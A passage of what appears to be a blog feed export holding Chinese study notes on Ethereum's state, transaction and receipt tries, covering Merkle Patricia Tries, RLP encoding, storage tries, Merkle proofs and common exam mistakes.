三棵树对比表</h2><table><thead><tr><th>树</th><th>区块头字段</th><th>范围</th><th>key</th><th>value</th><th>是否跨区块持续演进</th></tr></thead><tbody><tr><td>状态树</td><td><code>stateRoot</code></td><td>全局账户状态</td><td><code>keccak256(address)</code></td><td><code>RLP(account state)</code></td><td>是</td></tr><tr><td>交易树</td><td><code>transactionsRoot</code></td><td>当前区块交易</td><td><code>RLP(txIndex)</code></td><td><code>RLP(transaction)</code></td><td>否</td></tr><tr><td>收据树</td><td><code>receiptsRoot</code></td><td>当前区块收据</td><td><code>RLP(txIndex)</code></td><td><code>RLP(receipt)</code></td><td>否</td></tr></tbody></table><p>状态树回答：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">执行完成后，世界状态是什么？</span><br></pre></td></tr></table></figure></div><p>交易树回答：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">这个区块包含哪些交易，顺序是什么？</span><br></pre></td></tr></table></figure></div><p>收据树回答：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">这些交易执行后产生了什么结果？</span><br></pre></td></tr></table></figure></div><hr><h2 id="13-以太坊是交易驱动的确定性状态机"><a href="#13-以太坊是交易驱动的确定性状态机" class="headerlink" title="13. 以太坊是交易驱动的确定性状态机"></a>13. 以太坊是交易驱动的确定性状态机</h2><p>以太坊可以抽象为：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">State_N + Block_N 中的有序交易序列 -> State_N+1</span><br></pre></td></tr></table></figure></div><p>也可以写成：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">S_{t+1} = Apply(Tx_1, Tx_2, ..., Tx_n, S_t)</span><br></pre></td></tr></table></figure></div><p>所有节点从相同前置状态开始，按相同顺序执行相同交易，必须得到相同的新状态和相同的 <code>stateRoot</code>。</p><p>这就是状态转移确定性。如果合约执行依赖不确定外部信息，不同节点就可能得到不同结果，无法达成共识。</p><p>所以智能合约不能直接调用普通互联网 API、读取链下随机数或取本地系统时间。</p><hr><h2 id="14-BTC-也可以看成状态机吗"><a href="#14-BTC-也可以看成状态机吗" class="headerlink" title="14. BTC 也可以看成状态机吗"></a>14. BTC 也可以看成状态机吗</h2><p>可以。比特币的状态可以理解为当前 UTXO Set。</p><p>一笔 BTC 交易会消耗旧 UTXO，并产生新 UTXO：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">UTXO Set_old + Transaction -> UTXO Set_new</span><br></pre></td></tr></table></figure></div><p>以太坊和比特币的差异在状态内容。</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">BTC：UTXO 状态机</span><br><span class="line">ETH：账户与合约状态机</span><br></pre></td></tr></table></figure></div><p>以太坊状态更复杂，因为它包含账户余额、nonce、合约代码和合约存储。</p><hr><h2 id="15-为什么不能只保存当前区块涉及账户"><a href="#15-为什么不能只保存当前区块涉及账户" class="headerlink" title="15. 为什么不能只保存当前区块涉及账户"></a>15. 为什么不能只保存当前区块涉及账户</h2><p>一个常见问题是：每个区块只保存当前交易涉及账户状态，是否可以替代全局状态树？</p><p>答案是不行，或者至少非常低效。</p><p>如果 Alice 很久没有交易，查询 Alice 当前余额时，节点可能需要从最新区块一直向前追溯，直到找到 Alice 最后一次出现。</p><p>判断账户不存在也会很难。当前区块没有某个账户，可能是它不存在，也可能只是该区块没有用到它。</p><p>以太坊需要快速验证交易：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">账户是否存在</span><br><span class="line">nonce 是否正确</span><br><span class="line">余额是否足够支付 value + gas</span><br><span class="line">合约 storage 当前值是什么</span><br></pre></td></tr></table></figure></div><p>这些能力要求每个区块的 <code>stateRoot</code> 承诺完整全局状态，而不是只承诺局部状态差分。</p><hr><h2 id="16-完整执行流程"><a href="#16-完整执行流程" class="headerlink" title="16. 完整执行流程"></a>16. 完整执行流程</h2><p>可以把一个区块的执行过程串成下面这条线：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">1. 节点读取区块交易列表</span><br><span class="line">2. 按交易 index 依次执行</span><br><span class="line">3. 每笔交易产生一个 Receipt</span><br><span class="line">4. 所有交易形成 Transaction Trie</span><br><span class="line">5. 所有收据形成 Receipt Trie</span><br><span class="line">6. 执行后的世界状态形成新的 State Trie</span><br><span class="line">7. 三个根写入或校验区块头</span><br></pre></td></tr></table></figure></div><p>验证区块时，节点不仅要看交易列表，也要重新执行交易，确认最终得到的 <code>stateRoot</code>、<code>transactionsRoot</code> 和 <code>receiptsRoot</code> 与区块头一致。</p><hr><h2 id="17-高频问答"><a href="#17-高频问答" class="headerlink" title="17. 高频问答"></a>17. 高频问答</h2><h3 id="Q1：交易树保存什么？"><a href="#Q1：交易树保存什么？" class="headerlink" title="Q1：交易树保存什么？"></a>Q1：交易树保存什么？</h3><p>保存当前区块中的交易列表。key 是交易在区块中的 index，value 是交易的 RLP 编码。</p><h3 id="Q2：交易树为什么要承诺顺序？"><a href="#Q2：交易树为什么要承诺顺序？" class="headerlink" title="Q2：交易树为什么要承诺顺序？"></a>Q2：交易树为什么要承诺顺序？</h3><p>以太坊是状态机，交易顺序会影响 nonce、余额、合约执行和最终状态。顺序不同，<code>stateRoot</code> 可能不同。</p><h3 id="Q3：收据树保存什么？"><a href="#Q3：收据树保存什么？" class="headerlink" title="Q3：收据树保存什么？"></a>Q3：收据树保存什么？</h3><p>保存当前区块中每笔交易执行后的收据，包括状态码、累计 gas、logsBloom 和 logs。</p><h3 id="Q4：logs-有什么用？"><a href="#Q4：logs-有什么用？" class="headerlink" title="Q4：logs 有什么用？"></a>Q4：logs 有什么用？</h3><p>logs 记录合约事件。区块浏览器和应用后端常通过解析 logs 展示 ERC-20 转账、NFT Transfer 等事件。</p><h3 id="Q5：Bloom-Filter-为什么有用？"><a href="#Q5：Bloom-Filter-为什么有用？" class="headerlink" title="Q5：Bloom Filter 为什么有用？"></a>Q5：Bloom Filter 为什么有用？</h3><p>它可以快速排除不相关区块或收据。判断不存在时一定不存在；判断可能存在时还要继续检查 logs。</p><h3 id="Q6：交易树和收据树为什么也用-MPT？"><a href="#Q6：交易树和收据树为什么也用-MPT？" class="headerlink" title="Q6：交易树和收据树为什么也用 MPT？"></a>Q6：交易树和收据树为什么也用 MPT？</h3><p>主要是工程统一。它们只针对单个区块，key 是连续 index，理论上普通 Merkle Tree 也能完成承诺功能。</p><h3 id="Q7：状态树和交易树最大的区别是什么？"><a href="#Q7：状态树和交易树最大的区别是什么？" class="headerlink" title="Q7：状态树和交易树最大的区别是什么？"></a>Q7：状态树和交易树最大的区别是什么？</h3><p>状态树是跨区块持续演进的全局状态。交易树只承诺当前区块中的交易列表。</p><h3 id="Q8：收据和交易结果是不是等于状态变化？"><a href="#Q8：收据和交易结果是不是等于状态变化？" class="headerlink" title="Q8：收据和交易结果是不是等于状态变化？"></a>Q8：收据和交易结果是不是等于状态变化？</h3><p>不是。收据记录执行结果、gas 和日志。状态变化体现在新的 <code>stateRoot</code> 中。</p><hr><h2 id="18-易错点"><a href="#18-易错点" class="headerlink" title="18. 易错点"></a>18. 易错点</h2><p>不要把交易哈希说成交易树的 key。交易树 key 是交易在当前区块里的 index。</p><p>不要把收据树说成保存交易本身。收据树保存交易执行后的 receipt。</p><p>不要说 Bloom Filter “判断存在就一定存在”。它只能判断可能存在，仍需继续查 logs。</p><p>不要把 <code>receiptsRoot</code> 当成状态根。<code>receiptsRoot</code> 承诺执行结果记录，<code>stateRoot</code> 承诺执行后的世界状态。</p><p>不要把交易树和状态树的 MPT 必要性混为一谈。状态树更需要 MPT，交易树和收据树更多是工程统一。</p><hr><h2 id="19-总结"><a href="#19-总结" class="headerlink" title="19. 总结"></a>19. 总结</h2><p>交易树、收据树和状态树共同把以太坊区块执行过程固定下来。</p><p>交易树承诺输入：当前区块有哪些交易，以及顺序是什么。</p><p>收据树承诺输出记录：每笔交易执行后的状态码、gas、日志和日志过滤信息。</p><p>状态树承诺最终世界状态：所有交易执行完后账户与合约存储处于什么状态。</p><p>总结时，最好按“输入交易 -> 执行交易 -> 生成收据 -> 更新状态 -> 三个根写入区块头”这条线讲，逻辑最清楚。</p>]]></content>
<summary type="html"></summary>
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</entry>
<entry>
<title>以太坊状态树知识点</title>
<link href="https://kylinxin.github.io/2026/06/04/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E7%8A%B6%E6%80%81%E6%A0%91%E7%9F%A5%E8%AF%86%E7%82%B9/"/>
<id>https://kylinxin.github.io/2026/06/04/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E7%8A%B6%E6%80%81%E6%A0%91%E7%9F%A5%E8%AF%86%E7%82%B9/</id>
<published>2026-06-04T01:16:00.000Z</published>
<updated>2026-06-22T02:00:00.000Z</updated>
<content type="html"><![CDATA[<h2 id="ETH-状态树：知识点总览"><a href="#ETH-状态树：知识点总览" class="headerlink" title="ETH 状态树：知识点总览"></a>ETH 状态树：知识点总览</h2><p><figure class="image-caption"><img lazyload src="/images/loading.svg" data-src="/images/blockchain-course/eth-state-trie.png" alt="ETH 状态树示意图" ><figcaption>ETH 状态树示意图</figcaption></figure></p><blockquote><p>核心一句话：以太坊状态树是全局账户状态的加密承诺。它用 Modified Merkle Patricia Trie 维护 <code>address -> account state</code>，每个区块执行完交易后都会得到新的 <code>stateRoot</code>，并写入区块头。</p></blockquote><p>这一篇整理以太坊状态树的核心知识点：状态树是什么、为什么不用哈希表、为什么不用普通 Merkle Tree，以及状态树和合约存储之间的关系。</p><hr><h2 id="1-先背下来的核心结论"><a href="#1-先背下来的核心结论" class="headerlink" title="1. 先背下来的核心结论"></a>1. 先背下来的核心结论</h2><p>以太坊采用账户模型，需要维护一份全局状态：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">address -> account state</span><br></pre></td></tr></table></figure></div><p>每个账户状态包含四个字段：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">nonce</span><br><span class="line">balance</span><br><span class="line">storageRoot</span><br><span class="line">codeHash</span><br></pre></td></tr></table></figure></div><p><code>nonce</code> 记录交易次数或合约创建次数。<code>balance</code> 是账户的 ETH 原生余额。<code>storageRoot</code> 指向合约账户自己的 Storage Trie。<code>codeHash</code> 是合约代码哈希。</p><p>状态树的根哈希叫 <code>stateRoot</code>。每个区块执行完成后，新的 <code>stateRoot</code> 会写入区块头，用来承诺当前完整世界状态。</p><hr><h2 id="2-核心考点"><a href="#2-核心考点" class="headerlink" title="2. 核心考点"></a>2. 核心考点</h2><p>状态树这一题通常考五层能力。</p><p>第一层：知道以太坊是账户模型，不是 UTXO 模型。</p><p>第二层：知道账户状态四元组：<code>nonce</code>、<code>balance</code>、<code>storageRoot</code>、<code>codeHash</code>。</p><p>第三层：知道状态树不是普通数据库，而是带根哈希和证明能力的 MPT。</p><p>第四层：能解释为什么普通哈希表、普通 Merkle Tree、Sorted Merkle Tree 都不够合适。</p><p>第五层：能把状态树、合约 Storage Trie、ERC-20 余额、分叉回滚、Merkle Proof 串起来。</p><hr><h2 id="3-为什么以太坊需要状态树"><a href="#3-为什么以太坊需要状态树" class="headerlink" title="3. 为什么以太坊需要状态树"></a>3. 为什么以太坊需要状态树</h2><p>比特币主要维护 UTXO Set，关注“哪些输出还没被花费”。以太坊采用账户模型，关注“每个账户现在处于什么状态”。</p><p>以太坊中的账户分为两类：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">EOA：外部账户，由私钥控制</span><br><span class="line">Contract Account：合约账户，由代码控制</span><br></pre></td></tr></table></figure></div><p>普通账户主要关心 ETH 余额和 nonce。合约账户除了余额和 nonce，还需要保存合约代码以及合约内部变量。</p><p>因此，以太坊需要维护一份巨大的动态键值映射：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">keccak256(address) -> RLP(account state)</span><br></pre></td></tr></table></figure></div><p>这份映射不是只给本地节点查数据库用。它还必须让所有节点对同一份状态得到同一个根哈希，并支持轻节点验证某个账户状态是否真实存在。</p><hr><h2 id="4-为什么不能只用哈希表"><a href="#4-为什么不能只用哈希表" class="headerlink" title="4. 为什么不能只用哈希表"></a>4. 为什么不能只用哈希表</h2><p>如果只看查询速度，哈希表很自然：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">map[address] = accountState</span><br></pre></td></tr></table></figure></div><p>普通哈希表平均查询复杂度接近 <code>O(1)</code>，但它缺少区块链需要的状态承诺能力。</p><p>第一个问题是没有统一根哈希。区块链需要用一个短值代表整份全局状态，所有节点通过这个值判断状态是否一致。</p><p>第二个问题是不支持 Merkle Proof。轻节点不能只相信全节点口头返回的余额，它需要一条可验证的证明路径。</p><p>第三个问题是难以证明不存在。判断某个账户不存在，不能靠“数据库没查到”这种本地结论，而要能绑定到某个区块头的 <code>stateRoot</code>。</p><p>所以哈希表适合本地查找，但不能直接作为区块链共识层的状态承诺结构。</p><hr><h2 id="5-为什么不能直接用普通-Merkle-Tree"><a href="#5-为什么不能直接用普通-Merkle-Tree" class="headerlink" title="5. 为什么不能直接用普通 Merkle Tree"></a>5. 为什么不能直接用普通 Merkle Tree</h2><p>普通 Merkle Tree 能提供根哈希，也能证明某个叶子属于这棵树。比特币交易树就是典型例子。</p><p>但以太坊状态不是固定列表，而是动态键值映射：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">address -> account state</span><br></pre></td></tr></table></figure></div><p>普通 Merkle Tree 不擅长按 key 查找。它只知道叶子位置，不知道某个地址应该走到哪个叶子。</p><p>普通 Merkle Tree 还依赖叶子顺序。不同节点如果以不同顺序组织账户，即使账户内容一样，也会得到不同 root。</p><p>Sorted Merkle Tree 可以按 key 排序，但新增账户可能插入到中间位置，导致后续叶子位置和父节点结构大范围变化。</p><p>以太坊需要的是“key 自己决定路径”的结构，所以 Trie 比普通 Merkle Tree 更适合。</p><hr><h2 id="6-Trie、Patricia-Trie-和-MPT"><a href="#6-Trie、Patricia-Trie-和-MPT" class="headerlink" title="6. Trie、Patricia Trie 和 MPT"></a>6. Trie、Patricia Trie 和 MPT</h2><p>Trie 也叫前缀树。它用 key 的每一位决定路径：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root -> a -> 7 -> f -> 3 -> ...</span><br></pre></td></tr></table></figure></div><p>这个特性适合键值映射，因为查找路径由 key 决定，不需要额外排序。</p><p>普通 Trie 的问题是路径可能很长。如果只有一个 key <code>abcdef</code>，普通 Trie 可能展开成六层单分支节点。</p><p>Patricia Trie 会压缩没有分叉的路径：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root -> abcdef -> value</span><br></pre></td></tr></table></figure></div><p>Merkle Patricia Trie 可以理解为：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Patricia Trie + Merkle Hash</span><br></pre></td></tr></table></figure></div><p>Patricia Trie 负责高效查找和路径压缩。Merkle Hash 负责防篡改、根哈希承诺和 Merkle Proof。</p><hr><h2 id="7-以太坊的-Modified-MPT"><a href="#7-以太坊的-Modified-MPT" class="headerlink" title="7. 以太坊的 Modified MPT"></a>7. 以太坊的 Modified MPT</h2><p>以太坊实际使用的是 Modified Merkle Patricia Trie。<code>Modified</code> 主要体现为节点编码、路径编码、节点引用和存储优化。</p><p>MPT 中常见三类节点：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Branch Node</span><br><span class="line">Extension Node</span><br><span class="line">Leaf Node</span><br></pre></td></tr></table></figure></div><p>Branch Node 最多有 16 个子方向，因为以太坊把 key 拆成十六进制 nibble，每一位是 <code>0</code> 到 <code>f</code>。</p><p>Extension Node 用于压缩公共前缀。多个 key 共享一段路径时，这段路径可以用一个扩展节点表示。</p><p>Leaf Node 保存最终 value。对状态树来说，value 通常是 RLP 编码后的账户状态。</p><hr><h2 id="8-为什么-key-通常是地址哈希"><a href="#8-为什么-key-通常是地址哈希" class="headerlink" title="8. 为什么 key 通常是地址哈希"></a>8. 为什么 key 通常是地址哈希</h2><p>账户地址本身是 160 bit，也就是 20 字节。以太坊状态树通常使用地址的 Keccak-256 哈希作为路径 key：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">key = keccak256(address)</span><br></pre></td></tr></table></figure></div><p>这样做可以让 key 分布更均匀，避免攻击者构造大量相似前缀地址，让 Trie 结构退化。</p><p>哈希后的路径空间接近 256 bit，极度稀疏。因此路径压缩很重要，否则普通 Trie 会浪费大量中间节点。</p><hr><h2 id="9-RLP-编码的作用"><a href="#9-RLP-编码的作用" class="headerlink" title="9. RLP 编码的作用"></a>9. RLP 编码的作用</h2><p>账户状态在进入 MPT 前需要被序列化。以太坊使用 RLP，即 Recursive Length Prefix。</p><p>账户状态会被组织成列表：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[nonce, balance, storageRoot, codeHash]</span><br></pre></td></tr></table></figure></div><p>然后编码为确定的字节序列：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">RLP([nonce, balance, storageRoot, codeHash])</span><br></pre></td></tr></table></figure></div><p>哈希函数处理的是字节序列。如果不同节点对同一个账户状态使用不同编码，最终会得到不同哈希和不同 <code>stateRoot</code>。</p><p>RLP 的核心价值是确定性。所有节点必须对同一份状态得到完全相同的字节表示。</p><hr><h2 id="10-状态树和合约-Storage-Trie-的关系"><a href="#10-状态树和合约-Storage-Trie-的关系" class="headerlink" title="10. 状态树和合约 Storage Trie 的关系"></a>10. 状态树和合约 Storage Trie 的关系</h2><p>状态树维护的是账户级别状态。合约自己的变量不会直接摊开放在全局状态树里，而是由合约账户的 <code>storageRoot</code> 指向一棵 Storage Trie。</p><p>可以把结构理解为：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Block Header</span><br><span class="line">└── stateRoot</span><br><span class="line"> └── State Trie</span><br><span class="line"> ├── EOA Account State</span><br><span class="line"> └── Contract Account State</span><br><span class="line"> └── storageRoot</span><br><span class="line"> └── Storage Trie</span><br></pre></td></tr></table></figure></div><p>这个点很常见，因为它能区分 ETH 余额和 ERC-20 余额。</p><p>Alice 有 3 ETH，存储在 Alice 账户状态的 <code>balance</code> 字段。</p><p>Alice 有 100 USDT，通常存储在 USDT 合约 Storage Trie 中的 <code>balances[Alice]</code>。</p><p>所以 ERC-20 余额不是 Alice 账户的 <code>balance</code>。Alice 账户的 <code>balance</code> 只表示 ETH 原生资产。</p><hr><h2 id="11-状态变化如何影响-stateRoot"><a href="#11-状态变化如何影响-stateRoot" class="headerlink" title="11. 状态变化如何影响 stateRoot"></a>11. 状态变化如何影响 stateRoot</h2><p>假设 Alice 给 Bob 转 1 ETH。执行前：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Alice.balance = 5 ETH</span><br><span class="line">Alice.nonce = 10</span><br><span class="line">Bob.balance = 2 ETH</span><br></pre></td></tr></table></figure></div><p>执行后：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Alice.balance = 4 ETH - gas</span><br><span class="line">Alice.nonce = 11</span><br><span class="line">Bob.balance = 3 ETH</span><br></pre></td></tr></table></figure></div><p>Alice 和 Bob 的账户状态改变，对应叶子节点 value 改变。叶子哈希改变后，路径上的父节点哈希逐层改变，最终 <code>stateRoot</code> 改变。</p><p>没有变化的账户不需要重新构建。新旧状态树可以共享大量未变节点，这类似 Git 对未变化对象的复用。</p><hr><h2 id="12-为什么不能原地修改状态树"><a href="#12-为什么不能原地修改状态树" class="headerlink" title="12. 为什么不能原地修改状态树"></a>12. 为什么不能原地修改状态树</h2><p>区块链会出现临时分叉：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Block 100</span><br><span class="line">├── Block 101A</span><br><span class="line">└── Block 101B</span><br></pre></td></tr></table></figure></div><p>节点可能先执行 101B，后来发现 101A 才是规范链。如果状态原地覆盖，旧状态很难恢复。</p><p>智能合约执行也不容易反推。一次 DeFi 交易可能修改多个 storage slot、跨合约调用、更新协议统计变量。</p><p>所以以太坊需要能引用旧状态版本。每个区块头中的 <code>stateRoot</code> 都代表该高度执行完成后的世界状态版本。</p><hr><h2 id="13-Merkle-Proof-和不存在性证明"><a href="#13-Merkle-Proof-和不存在性证明" class="headerlink" title="13. Merkle Proof 和不存在性证明"></a>13. Merkle Proof 和不存在性证明</h2><p>轻节点不保存完整状态树，但可以保存区块头。只要知道区块头中的 <code>stateRoot</code>，就能验证账户状态证明。</p><p>证明流程可以简化为：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">区块头 stateRoot</span><br><span class="line">目标地址 key</span><br><span class="line">从根到叶子的证明路径</span><br><span class="line">账户状态 value</span><br></pre></td></tr></table></figure></div><p>验证者重新计算路径上节点哈希。如果最终根哈希等于区块头里的 <code>stateRoot</code>，就能确认该账户状态属于这个区块的世界状态。</p><p>MPT 也能证明不存在。因为路径由 key 决定，如果路径中某个分支缺失，或者最终叶子路径不匹配，就能证明该 key 不在树中。</p><hr><h2 id="14-为什么状态树必须是全局的"><a href="#14-为什么状态树必须是全局的" class="headerlink" title="14. 为什么状态树必须是全局的"></a>14. 为什么状态树必须是全局的</h2><p>一个常见误区是：每个区块只保存本区块涉及账户的状态，是否可以节省空间？</p><p>这个方案不可行。假设 Alice 很久没交易，查询 Alice 当前余额时，就必须从最新区块一直向前找，直到找到 Alice 最后一次出现的位置。</p><p>判断账户不存在会更麻烦。当前区块没有 Alice，可能是 Alice 不存在，也可能只是这个区块没用到 Alice。</p><p>以太坊的设计是：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">每个区块的 stateRoot 都承诺该区块执行后的完整全局状态</span><br></pre></td></tr></table></figure></div><p>这不代表每个区块完整复制一棵树。MPT 是持久化结构，新旧版本共享未变化节点，只更新变化路径。</p><hr><h2 id="15-和交易树、收据树的关系"><a href="#15-和交易树、收据树的关系" class="headerlink" title="15. 和交易树、收据树的关系"></a>15. 和交易树、收据树的关系</h2><p>以太坊区块头里常见三类根：</p><div class="code-container" data-rel="Text"><figure class="iseeu highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">stateRoot</span><br><span class="line">transactionsRoot</span><br><span class="line">receiptsRoot</span><br></pre></td></tr></table></figure></div><p><code>stateRoot</code> 承诺区块执行完成后的全局状态。它是跨区块持续演进的状态版本。</p><p><code>transactionsRoot</code> 承诺当前区块包含哪些交易，以及交易顺序是什么。</p><p><code>receiptsRoot</code> 承诺当前区块中每笔交易执行后的结果、gas 使用和事件日志。</p><p>状态树是理解以太坊数据结构的主线，交易树和收据树是它的对照组。下一篇会专门整理交易树和收据树。</p><hr><h2 id="16-高频问答"><a href="#16-高频问答" class="headerlink" title="16. 高频问答"></a>16. 高频问答</h2><h3 id="Q1：以太坊状态树保存什么？"><a href="#Q1：以太坊状态树保存什么？" class="headerlink" title="Q1：以太坊状态树保存什么？"></a>Q1：以太坊状态树保存什么？</h3><p>保存全局账户状态映射。逻辑上是 <code>address -> account state</code>，工程上通常是 <code>keccak256(address) -> RLP(account state)</code>。</p><h3 id="Q2：账户状态四个字段是什么？"><a href="#Q2：账户状态四个字段是什么？" class="headerlink" title="Q2：账户状态四个字段是什么？"></a>Q2：账户状态四个字段是什么？</h3><p><code>nonce</code>、<code>balance</code>、<code>storageRoot</code>、<code>codeHash</code>。</p><h3 id="Q3：ERC-20-余额存在用户账户里吗？"><a href="#Q3：ERC-20-余额存在用户账户里吗？" class="headerlink" title="Q3：ERC-20 余额存在用户账户里吗？"></a>Q3：ERC-20 余额存在用户账户里吗？</h3><p>不在。用户账户的 <code>balance</code> 是 ETH 原生余额。ERC-20 余额存在代币合约自己的 Storage Trie 中。</p><h3 id="Q4：为什么不用普通哈希表？"><a href="#Q4：为什么不用普通哈希表？" class="headerlink" title="Q4：为什么不用普通哈希表？"></a>Q4：为什么不用普通哈希表？</h3><p>哈希表查找快，但没有全局根哈希，也不能直接提供 Merkle Proof 和不存在性证明。</p><h3 id="Q5：为什么不用普通-Merkle-Tree？"><a href="#Q5：为什么不用普通-Merkle-Tree？" class="headerlink" title="Q5：为什么不用普通 Merkle Tree？"></a>Q5：为什么不用普通 Merkle Tree？</h3><p>普通 Merkle Tree 更适合固定有序列表，不适合动态键值映射。它还需要额外解决 key 查找和叶子顺序一致性问题。</p><h3 id="Q6：为什么状态树更新不是全量重建？"><a href="#Q6：为什么状态树更新不是全量重建？" class="headerlink" title="Q6：为什么状态树更新不是全量重建？"></a>Q6：为什么状态树更新不是全量重建？</h3><p>MPT 可以共享未变化节点。交易只影响相关账户或 storage slot，因此只需要更新变化路径上的节点。</p><h3 id="Q7：状态树如何支持轻节点？"><a href="#Q7：状态树如何支持轻节点？" class="headerlink" title="Q7：状态树如何支持轻节点？"></a>Q7：状态树如何支持轻节点？</h3><p>轻节点保存区块头和 <code>stateRoot</code>，向全节点请求 Merkle Proof，然后验证账户状态是否能回算到该根哈希。</p><h3 id="Q8：为什么需要历史状态版本？"><a href="#Q8：为什么需要历史状态版本？" class="headerlink" title="Q8：为什么需要历史状态版本？"></a>Q8：为什么需要历史状态版本？</h3><p>临时分叉、回滚和链重组需要旧状态。原地修改会让节点难以从错误分支切回规范链。</p><hr><h2 id="17-易错点"><a href="#17-易错点" class="headerlink" title="17. 易错点"></a>17. 易错点</h2><p>不要把 <code>balance</code> 和 ERC-20 余额混为一谈。<code>balance</code> 是 ETH，ERC-20 余额是合约存储。</p><p>不要说每个区块完整复制一棵状态树。逻辑上每个区块有一个状态版本，工程上大量节点共享。</p><p>不要把状态树、交易树、收据树说成同一类业务含义。它们都可以用 trie，但承诺对象不同。</p><p>不要忽略 RLP。哈希前必须有确定的字节编码，否则不同节点无法得到一致根哈希。</p><hr><h2 id="18-总结"><a href="#18-总结" class="headerlink" title="18. 总结"></a>18. 总结</h2><p>以太坊状态树的本质是全局世界状态的加密承诺。它把账户模型、MPT、RLP、Merkle Proof、合约存储和区块头 <code>stateRoot</code> 连接在一起。</p><p>总结时，不要只说“以太坊用 MPT”。更完整的说法是：以太坊需要维护动态全局账户状态，普通哈希表缺少证明能力，普通 Merkle Tree 不适合动态键值映射，所以使用 Modified MPT，在每个区块执行后得到新的 <code>stateRoot</code>。</p>]]></content>
<summary type="html"></summary>
<category term="区块链技术与应用" scheme="https://kylinxin.github.io/categories/%E5%8C%BA%E5%9D%97%E9%93%BE%E6%8A%80%E6%9C%AF%E4%B8%8E%E5%BA%94%E7%94%A8/"/>
<category term="区块链" scheme="https://kylinxin.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/"/>
